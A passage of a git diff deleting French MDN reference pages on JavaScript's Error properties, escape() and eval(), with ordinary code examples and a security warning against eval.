  • {{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/message/index.html b/files/fr/web/javascript/reference/objets_globaux/error/message/index.html deleted file mode 100644 index e8a680a0b6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/message/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Error.prototype.message -slug: Web/JavaScript/Reference/Objets_globaux/Error/message -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/message ---- -
{{JSRef}}
- -

La propriété message est une description de l'erreur, écrite pour être lue par un humain.

- -

Description

- -

La propriété contient une brève description de l'erreur si elle est accessible, ou si elle a été définie. SpiderMonkey utilise intensivement la propriété message pour les erreurs d'exécution. La propriété message, combinée à la propriété {{jsxref("Error.name", "name")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.

- -

Par défaut, la propriété message est une chaine de caractères vide, mais ce comportement peut être remplacé pour une instance, en renseignant un message comme premier argument du constructeur {{jsxref("Error")}}.

- -

Exemples

- -

Déclencher une erreur personnalisée

- -
var e = new Error("Impossible de lire la donnée");
-// e.message est "Impossible de lire la donnée"
-throw e;
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.message")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.name")}}
    • -
  • {{jsxref("Error.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/name/index.html b/files/fr/web/javascript/reference/objets_globaux/error/name/index.html deleted file mode 100644 index edbe9189ff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/name/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Error.prototype.name -slug: Web/JavaScript/Reference/Objets_globaux/Error/name -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/name ---- -
{{JSRef}}
- -

La propriété name est une chaîne de caractères représentant le nom du type d'erreur. La valeur initiale est "Error".

- -

Description

- -

Par défaut, les instances d'{{jsxref("Error")}} reçoivent le nom "Error". La propriété name, associée à la propriété {{jsxref("Error.message", "message")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.

- -

Exemples

- -

Déclencher une erreur personnalisée

- -
var e = new Error("Donnée malformée"); // e.name est "Error"
-
-e.name = "ParseError";
-throw e;
-// e.toString() renverra "ParseError: Donnée malformée"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.name")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.message")}}
    • -
  • {{jsxref("Error.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html deleted file mode 100644 index 014afc9ce2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/prototype/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Error.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Error/prototype -tags: - - Error - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error -translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype ---- -
{{JSRef}}
- -

La propriété Error.prototype représente le prototype du constructeur {{jsxref("Error")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Toutes les instances d'{{jsxref("Error")}} et les instances des {{jsxref("Error", "erreurs non-génériques", "#Types_d'erreur_personnalis.C3.A9s", 1)}} héritent de {{jsxref("Error.prototype")}}. Comme pour tous les constructeurs, on pouvez utiliser le prototype du constructeur pour ajouter des propriétés ou méthodes à l'ensemble des instances créées avec ce constructeur.

- -

Propriétés

- -

Propriétés standard

- -
-
Error.prototype.constructor
-
La fonction créeant une instance du prototype.
-
{{jsxref("Error.prototype.message")}}
-
Le message de l'erreur.
-
{{jsxref("Error.prototype.name")}}
-
Le nom de l'erreur.
-
- -

Extensions spécifiques à une implémentation

- -
{{Non-standard_header}}
- -

Microsoft

- -
-
{{jsxref("Error.prototype.description")}}
-
Description de l'erreur. Similaire à {{jsxref("Error.message", "message")}}.
-
{{jsxref("Error.prototype.number")}}
-
Numéro de l'erreur.
-
- -

Mozilla

- -
-
{{jsxref("Error.prototype.fileName")}}
-
Chemin vers le fichier qui a déclenché l'erreur.
-
{{jsxref("Error.prototype.lineNumber")}}
-
Numéro de la ligne qui a déclenché l'erreur dans le fichier.
-
{{jsxref("Error.prototype.columnNumber")}}
-
Numéro de la colonne qui a déclenché l'erreur dans le fichier.
-
{{jsxref("Error.prototype.stack")}}
-
Pile d'appels.
-
- -

Méthodes

- -
-
{{jsxref("Error.prototype.toSource()")}} {{Non-standard_inline}}
-
Renvoie une chaine de caractères contenant le code source de l'objet Error ; cette valeur peut être utilisée pour créer un nouvel objet. Elle remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("Error.prototype.toString()")}}
-
Renvoie une chaine de caractères représentant l'objet. Elle remplace la méthode {{jsxref("Object.prototype.toString()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.prototype")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("Object.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html b/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html deleted file mode 100644 index 06c062dae2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/stack/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Error.prototype.stack -slug: Web/JavaScript/Reference/Objets_globaux/Error/Stack -tags: - - Error - - JavaScript - - Non-standard - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack ---- -
{{JSRef}} {{non-standard_header}}
- -

La propriété non-standard stack des objets {{jsxref("Error")}} fournit une trace des fonctions qui ont été appelées, dans quel ordre, depuis quelle ligne de quel fichier, et avec quels arguments. La chaine de pile remonte des appels les plus récents jusqu'aux plus anciens, ramenant à l'appel original de la portée globale.

- -

Description

- -

Chaque étape sera séparée par une nouvelle ligne, la première partie de la ligne étant le nom de la fonction (si ce n'est pas un appel depuis la portée globale), suivi du signe arobase (@), de l'emplacement du fichier (sauf quand la fonction est le constructeur d'erreur lorsque l'erreur est déclenchée), de deux-points, et, s'il y a un emplacement de fichier, du numéro de ligne. (Notez que l'objet {{jsxref("Error")}} possède aussi les propriétés fileName, lineNumber et columnNumber pour leur récupération à partir de l'erreur déclenchée (mais seulement l'erreur, et pas sa trace)).

- -

Notez que ceci est le format utilisé par Firefox. Il n'y a aucun formatage standard. Cependant Safari 6+ et Opera 12- utilisent un format très similaire. Les navigateurs utilisant le moteur JavaScript V8 (tel que Chrome, Opera 15+, Navigateur Android) et IE10+, utilisent un format différent (voir la documentation MSDN error.stack).

- -

Valeurs des arguments dans la pile : avant Firefox 14 ({{bug("744842")}}), le nom d'une fonction étaient suivis par les valeurs des arguments converties en une chaine de caractères entre parenthèses, immédiatement avant le signe arobase (@). Tandis qu'un objet (ou un tableau, etc.) apparaissait sous la forme convertie "[object Object]", et en tant que tel, ne pouvait pas être réévalué en les objets réels, les valeurs scalaires pouvaient être récupérées (bien qu'il soit plus facile — c'est toujours possible dans Firefox 14 — d'utiliser arguments.callee.caller.arguments, tout comme le nom de la fonction pouvait être récupéré avec arguments.callee.caller.name). "undefined" est listé comme "(void 0)". Notez que si des arguments chaines de caractères étaient passés avec des valeurs comme "@", "(", ")" (ou si dans les noms de fichier), vous ne pouviez pas vous reposez facilement sur ceux-ci pour découper la ligne en les parties qui la composent. Par conséquent, dans Firefox 14 et ultérieur, ceci est moins un problème.

- -

Les différents navigateurs définissent cette valeur à différents instants. Par exemple, Firefox la définit lors de la création d'un objet {{jsxref("Error")}}, tandis que PhantomJS ne la définit que lors du déclenchement de l'{{jsxref("Error")}}, et la documentation MSDN semble correspondre à l'implémentation PhantomJS.

- -

Exemples

- -

Le code HTML suivant démontre l'utilisation de la propriété stack.

- -
<!DOCTYPE HTML>
-<meta charset="UTF-8">
-<title>Exemple de Trace de Pile</title>
-<body>
-    <script>
-        function trace() {
-            try {
-                throw new Error('monError');
-            }
-            catch(e) {
-                alert(e.stack);
-            }
-        }
-        function b() {
-            trace();
-        }
-        function a() {
-            b(3, 4, "\n\n", undefined, {});
-        }
-        a("premier appel, premierarg");
-    </script>
-
- -

En supposant que ce code a été enregistré comme C:\exemple.html sur un système de fichier Windows, il produira un message d'alerte dans une nouvelle fenêtre avec le texte suivant :

- -

À partir de Firefox 30 et ultérieur, ce message contiendra le numéro de colonne  ({{bug(762556)}}) :

- -
trace@file:///C:/exemple.html:9:17
-b@file:///C:/exemple.html:16:13
-a@file:///C:/exemple.html:19:13
-@file:///C:/exemple.html:21:9
- -

De Firefox 14 à Firefox 29 :

- -
trace@file:///C:/exemple.html:9
-b@file:///C:/exemple.html:16
-a@file:///C:/exemple.html:19
-@file:///C:/exemple.html:21
-
- -

Firefox 13 et antérieur aurait produit à la place le texte suivant :

- -
Error("monError")@:0
-trace()@file:///C:/exemple.html:9
-b(3,4,"\n\n",(void 0),[object Object])@file:///C:/exemple.html:16
-a("premier appel, premierarg")@file:///C:/exemple.html:19
-@file:///C:/exemple.html:21
-
- -

Pile d'un code evalué

- -

À partir de Firefox 30 {{geckoRelease("30")}}, la pile d'erreur du code dans les appels à Function() et eval() produit désormais des piles avec des informations plus détaillées sur les numéros de lignes et de colonnes dans ces appels. Les appels de fonction sont indiqués par "> Function" et les appels d'eval par "> eval". Voir {{bug("332176")}}.

- -
try {
-  new Function('throw new Error()')();
-} catch (e) {
-  console.log(e.stack);
-}
-
-// anonymous@file:///C:/exemple.html line 7 > Function:1:1
-// @file:///C:/exemple.html:7:6
-
-try {
-  eval("eval('ÉCHEC')");
-} catch (x) {
-  console.log(x.stack);
-}
-
-// @file:///C:/exemple.html line 7 > eval line 1 > eval:1:1
-// @file:///C:/exemple.html line 7 > eval:1:1
-// @file:///C:/exemple.html:7:6
- -

Vous pouvez aussi utiliser la directive //# sourceURL pour nommer une source eval. Voir aussi Déboguer des sources évaluées dans les docs Débogueur, ainsi que ce blog post.

- -

Spécifications

- -

Ne fait partie d'aucune spécification. Non-standard.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.stack")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html deleted file mode 100644 index 701364ed74..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/tosource/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Error.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Error/toSource -tags: - - Error - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

La méthode toSource() renvoie le code source qui peut générer la même erreur.

- -

Syntaxe

- -
e.toSource()
- -

Valeur de retour

- -

Une chaîne de caractères qui contient le code source de l'erreur.

- -

Description

- -

Appeler la méthode toSource() d'une instance {{jsxref("Error")}} (Erreurs natives incluses) renverra le code source de l'erreur. Cette chaine de caractères peut être évaluée afin de créer un objet similaire. La chaine de caractères contenant le code source suit la structure du constructeur Error. Par exemple :

- -
(new name(message ,fileName, lineNumber))
- -

où ces attributs correspondent aux propriétés respectives de l'instance Error.

- -
Note : Les propriétés utilisées par la méthode toSource() dans la création de cette chaine de caractères sont mutables et peuvent ne pas refléter correctement la fonction utilisée pour créer une instance d'erreur ou le nom du fichier ou la ligne à laquelle s'est produite l'erreur originale.
- -

Spécifications

- -

Ne fait partie d'aucun standard. Implémentée dans JavaScript 1.3.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.toSource")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • -
  • {{jsxref("Error.prototype.message")}}
    • -
  • {{jsxref("Error.prototype.name")}}
    • -
  • {{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html deleted file mode 100644 index f117af3440..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/error/tostring/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Error.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Error/toString -tags: - - Error - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une représentation de l'objet {{jsxref("Error")}} sous la forme d'une chaine de caractères.

- -

Syntaxe

- -
e.toString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant l'objet {{jsxref("Error")}}.

- -

Description

- -

L'objet {{jsxref("Error")}} surcharge la méthode {{jsxref("Object.prototype.toString()")}} héritée par tous les objets. Sa sémantique est la suivante (en partant du principe que {{jsxref("Object")}} et {{jsxref("String")}} ont leurs valeurs originales) :

- -
Error.prototype.toString = function () {
-  "use strict";
-
-  var obj = Object(this);
-  if (obj !== this)
-    throw new TypeError();
-
-  var name = this.name;
-  name = (name === undefined) ? "Error" : String(name);
-
-  var msg = this.message;
-  msg = (msg === undefined) ? "" : String(msg);
-
-  if (name === "")
-    return msg;
-  if (msg === "")
-    return name;
-
-  return name + ": " + msg;
-};
-
- -

Exemples

- -
var e = new Error("Erreur fatale");
-console.log(e.toString()); // "Error: Erreur fatale"
-
-e.name = undefined;
-console.log(e.toString()); // "Error: Erreur fatale"
-
-e.name = "";
-console.log(e.toString()); // "Erreur fatale"
-
-e.message = undefined;
-console.log(e.toString()); // ""
-
-e.name = "salut";
-console.log(e.toString()); // "salut"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.4.4', 'Error.prototype.toString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Error.toString")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/escape/index.html b/files/fr/web/javascript/reference/objets_globaux/escape/index.html deleted file mode 100644 index e66c4ab923..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/escape/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: escape() -slug: Web/JavaScript/Reference/Objets_globaux/escape -tags: - - Deprecated - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/escape ---- -
{{jsSidebar("Objects")}}
- -
Attention ! Bien que escape(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui commence par : - -
… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …
-… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …
-
- -

La fonction escape() permet de renvoyer une nouvelle chaîne de caractères dont certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Cette méthode est obsolète et il est donc conseillé d'utiliser {{jsxref("encodeURI")}} ou {{jsxref("encodeURIComponent")}} à la place.

- -
-

Note : Cette fonction pouvait être utilisée pour l'encodage de fragment de requêtes d'URL. Si on souhaite remplacer des caractères par leur séquence d'échappement correcte (avec %20 par exemple), on pourra utiliser decodeURIComponent.

-
- -

Syntaxe

- -
escape(str)
- -

Paramètres

- -
-
str
-
Une chaîne de caractères à encoder.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères dont certains caractères ont été échappés.

- -

Description

- -

La fonction escape est une propriété de l'objet global. Les caractères spéciaux, sauf @*_+-./, seront encodés.

- -

La forme hexadécimale des caractères dont la valeur du codet est inférieure à 0xFF sera représentée sur deux chiffres : %xx. Pour les caractères avec un code supérieur, quatre chiffres seront utilisés avec le format suivant %uxxxx.

- -

Exemples

- -
escape("abc123");     // "abc123"
-escape("äöü");        // "%E4%F6%FC"
-escape("ć");          // "%u0107"
-
-// caractères spéciaux
-escape("@*_+-./");    // "@*_+-./"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}{{Spec2('ES5.1')}}Définie dans l'annexe B (informative) sur la compatibilité.
{{SpecName('ES6', '#sec-escape-string', 'escape')}}{{Spec2('ES6')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ESDraft', '#sec-escape-string', 'escape')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.escape")}}

- -

Voir aussi

- -
    -
  • {{jsxref("encodeURI")}}
    • -
  • {{jsxref("encodeURIComponent")}}
    • -
  • {{jsxref("unescape")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/eval/index.html b/files/fr/web/javascript/reference/objets_globaux/eval/index.html deleted file mode 100644 index 06a37511f5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/eval/index.html +++ /dev/null @@ -1,281 +0,0 @@ ---- -title: eval() -slug: Web/JavaScript/Reference/Objets_globaux/eval -tags: - - Attention - - JavaScript - - Méthode - - Reference - - eval -translation_of: Web/JavaScript/Reference/Global_Objects/eval ---- -
{{jsSidebar("Objects")}}
- -

La fonction eval() permet d'évaluer du code JavaScript représenté sous forme d'une chaîne de caractères.

- -
-

Avertissement : L'exécution de JavaScript à partir d'une chaîne de caractères constitue un risque de sécurité énorme. Il est beaucoup trop facile pour un mauvais acteur d'exécuter du code arbitraire lorsque vous utilisez eval(). Voir la section N'utilisez eval() qu'en dernier recours ! ci-dessous.

-
- -
{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}
- - - -

Syntaxe

- -
eval(str)
- -

Paramètres

- -
-
str
-
Une chaîne de caractères qui représente une expression JavaScript ou une instruction ou une suite d'instructions JavaScript. L'expression utilisée peut contenir des variables et des propriétés d'objets existants.
-
- -

Valeur de retour

- -

La valeur de terminaison du code fourni en argument. Si la valeur de terminaison est vide, c'est la valeur {{jsxref("undefined")}} qui est renvoyée.

- -

Description

- -

eval() est une fonction rattachée à l'objet global.

- -

eval() prend en compte un argument qui est une chaîne de caractères. Si cette chaîne représente une expression, eval() évaluera l'expression. Si l'argument utilisé représente une ou plusieurs instructions JavaScript, eval() évaluera les instructions. eval() ne doit pas être utilisé pour évaluer une expression arithmétique. En effet, JavaScript évalue automatiquement les expressions arithmétiques.

- -

Si on construit une expression arithmétique sous la forme d'une chaîne de caractères, on peut utiliser eval() pour évaluer cette expression par la suite. Ainsi, si on a une variable x, on peut préparer une expression à utiliser plus tard en construisant la chaîne "3 * x + 2" par exemple. Au moment où on souhaite procéder à l'évaluation, on appellera eval() avec cette chaîne de caractères.

- -

Si l'argument passé à eval() n'est pas une chaîne de caractères, eval() renverra l'argument inchangé. Dans l'exemple qui suit, on utilise le constructeur String, eval() renvoie donc un objet String au lieu d'évaluer la chaîne de caractères correspondante.

- -
eval(new String("2 + 2")); // renvoie un objet String contenant "2 + 2"
-eval("2 + 2");             // renvoie 4
-
- -

Ce comportement peut être résolu de façon générique en utilisant la méthode toString().

- -
var expression = new String("2 + 2");
-eval(expression.toString());
-
- -

Si la fonction  eval est utilisée de manière indirecte, en l'invoquant par une référence autre que eval, cela fonctionnera avec une portée globale plutôt que locale (d'après ECMASCript 5). Par exemple, les déclarations de fonctions vont créer des fonctions globales et le code en cours d'évaluation n'aura pas accès aux variables locales déclarées avec la même portée que là où la fonction eval est appelée.

- -
function test() {
-  var x = 2, y = 4;
-  console.log(eval("x + y"));  // Appel direct, portée locale, résultat de 6
-  var geval = eval;
-  console.log(geval("x + y")); // Appel indirect, portée globale, lance une exception ReferenceError car `x` n'est pas défini
-  (0, eval)('x + y'); // un autre exemple d'appel indirect.
-}
- -

N'utiliser eval() qu'en dernier recours !

- -

eval() est une fonction dangereuse qui exécute le code passé en argument avec les privilèges de l'environnement appelant. Si eval() est utilisée avec une chaîne construite de façon mal intentionnée, cela pourra entraîner l'exécution d'un code malveillant sur la machine de l'utilisateur avec les permissions données au site ou au module complémentaire. À un niveau encore plus critique, du code tiers pourrait ainsi consulter la portée dans laquelle eval() a été invoquée. Cela peut permettre des attaques qui n'auraient pas été rendues possible en utilisant un objet {{jsxref("Function")}}.

- -

eval() est également plus lente que les méthodes alternatives. En effet, l'évaluation nécessite de faire appel à l'interpréteur JavaScript alors que de nombreuses structures sont optimisées par les moteurs JavaScript modernes.

- -

Dans de nombreux cas, il existe des alternatives plus sûres et plus performantes à eval().

- -

De plus, les moteurs JavaScript modernes convertissent le code JavaScript en code machine. Les notions relatives aux noms des variables sont donc transformées. Utiliser eval() force le navigateur à enregistrer puis à rechercher parmi les noms existants afin de retrouver les variables. Si besoin, on peut utiliser le constructeur Function :

- -

Avec eval() :

- -
function looseJsonParse(obj){
-    return eval("(" + obj + ")");
-}
-console.log(looseJsonParse(
-   "{a:(4-1), b:function(){}, c:new Date()}"
-))
-
- -

Avec Function :

- -
function looseJsonParse(obj){
-    return Function('"use strict";return (' + obj + ')')();
-}
-console.log(looseJsonParse(
-   "{a:(4-1), b:function(){}, c:new Date()}"
-))
-
- -

Dans le premier cas, l'évaluation de c: new Date() sera beaucoup plus lente car Date peut faire référence à une variable déclarée avant. Dans le second cas, la fonction est évaluée dans la portée globale et le moteur peut donc utiliser {{jsxref("Date")}} directement.

- -

Autrement dit, dans le premier cas, on aurait pu avoir un code comme :

- -
function Date(n){
-    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
-}
-function looseJsonParse(obj){
-    return eval("(" + obj + ")");
-}
-console.log(looseJsonParse(
-   "{a:(4-1), b:function(){}, c:new Date()}"
-))
-
- -

Auquel cas, le navigateur doit effectuer une recherche coûteuse afin de vérifier s'il y a des variables locales Date.

- -

Pour obtenir un résultat identique, on peut tout à fait se passer d'eval() :

- -
function Date(n){
-    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
-}
-function runCodeWithDateFunction(obj){
-    return Function('"use strict";return (' + obj + ')')()(
-        Date
-    );
-}
-console.log(runCodeWithDateFunction(
-   "function(Date){ return Date(5) }"
-))
-
- -

1. Le code passé à runCodeWithDateFunction peut être minifié.

- -

2. Le surcoût lié à un appel de fonction est léger

- -

3. Function() permet d'utiliser  "use strict"; (qui peut également aider à améliorer les performances).

- -

Enfin, pour la plupart des cas, on doit pouvoir éviter de passer par

- -

eval() ou Function() !

- -

Accéder aux propriétés d'un objet

- -

eval() ne doit pas être utilisée pour convertir des noms de propriétés en propriétés. Par exemple, lorsqu'on ne sait pas quelle propriété va être consultée avant l'exécution, on pourrait utiliser :

- -
var obj = { a: 20, b: 30 };
-var nomPropriété = getNomProp();  //une méthode qui renvoie "a" ou "b"
-
-eval( "var résultat = obj." + nomPropriété );
-
- -

Cependant, eval() n'est pas du tout nécessaire. Il est beaucoup plus simple, plus sécurisé, plus rapide, d'utiliser les accesseurs de propriétés :

- -
var obj = { a: 20, b: 30 };
-var nomPropriété = getNomProp();  // une méthode qui renvoie  "a" or "b"
-var résultat = obj[nomPropriété]; //  obj[ "a" ] correspond à obj.a
-
- -

Utiliser des fonctions au lieu de morceaux de code

- -

Les fonctions JavaScript sont des citoyens de premier rang du langage, cela signifie que les fonctions peuvent être passées comme arguments aux autres API, qu'elles peuvent être stockées dans des variables, dans des propriétés d'objets, etc. De nombreuses API pour le DOM fonctionnent en prenant en argument des fonctions :

- -
// au lieu de setTimeout(" ... ", 1000) on utilisera :
-setTimeout(function() { ... }, 1000);
-
-// au lieu de elt.setAttribute("onclick", "...") on utilisera :
-elt.addEventListener("click", function() { ... } , false);
- -

Les fermetures (closures) sont utiles lorsqu'on souhaite obtenir des fonctions paramétrées sans avoir à concaténer des chaînes de caractères.

- -

Convertir des chaînes JSON en objets JavaScript (parsing)

- -

Si la chaîne utilisée avec eval() contient des données (par exemple, un tableau : "[1, 2, 3]") et non du code, il est conseillé d'utiliser du {{Glossary("JSON")}}, qui permet de représenter un sous-ensemble des données représentables en JavaScript.

- -

On notera que la syntaxe JSON est limitée relativement à la syntaxe JavaScript. De nombreux littéraux JavaScript ne pourront être parsés en JSON (par exemple, les virgules à la fin des instructions ne seront pas autorisées et les noms de propriétés devront être compris entre simples quotes). Il est souvent préférable d'utiliser un outil de sérialisation JSON pour que les chaînes générées puissent être analysée en JSON.

- -

Transmettre des données et non du code

- -

Si on a par exemple une extension conçue pour parcourir le code d'une page web, on pourra transmettre des données XPath au lieu d'un code JavaScript.

- -

Exécuter du code avec des privilèges restreints

- -

S'il faut nécessairement exécuter du code, il faut le faire avec des privilèges restreints. Cela s'applique généralement aux modules complémentaires ou aux applications XUL. Pour cela, on pourra utiliser Components.utils.evalInSandbox.

- -

Exemples

- -

Utiliser eval()

- -

Dans le code suivant, les deux instructions passées à eval() sous la forme d'une chaîne renvoient 42. La première évaluation porte sur la chaîne "x + y + 1" ; la seconde évaluation porte sur la chaîne de caractères "42".

- -
var x = 2;
-var y = 39;
-var z = "42";
-eval("x + y + 1"); // renvoie 42
-eval(z);           // renvoie 42
-
- -

Utiliser eval() pour une chaîne d'instructions

- -

Dans l'exemple qui suit, eval() est utilisée pour évaluer la chaîne de caractères str. Cette chaîne contient plusieurs instructions JavaScript qui affichent un message dans la console et qui affectent la valeur 42 à la variable z si x vaut cinq et 0 sinon. Lorsque la seconde instruction est exécutée, eval() entraînera l'exécution des instructions, les instructions seront évaluées et la valeur de z sera donc renvoyée.

- -
var x = 5;
-var str = "if (x == 5) {console.log('z vaut 42'); z = 42;} else z = 0; ";
-console.log("z vaut "+eval(str));
-
- -

Le résultat d'eval() est celui de la dernière expression

- -

eval() renvoie la valeur de la dernière expression évaluée :

- -
var str = "if ( a ) { 1+1; } else { 1+2; }";
-var a = true;
-var b = eval(str);  // renvoie 2
-
-console.log("b vaut : " + b);
-
-a = false;
-b = eval(str);      // renvoie 3
-
-console.log("b vaut : " + b);
- -

eval() et les fonctions

- -

Pour qu'une fonction soit restituée lors de l'évaluation, il est nécessaire d'encadrer l'expression contenue dans la chaîne de caractères avec des parenthèses :

- -
var fctStr1 = "function a() {}"
-var fctStr2 = "(function a() {})"
-var fct1 = eval(fctStr1)  // renvoie undefined
-var fct2 = eval(fctStr2)  // renvoie une function
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-eval-x', 'eval')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-eval-x', 'eval')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.eval")}}

- -

Notes spécifiques à Firefox

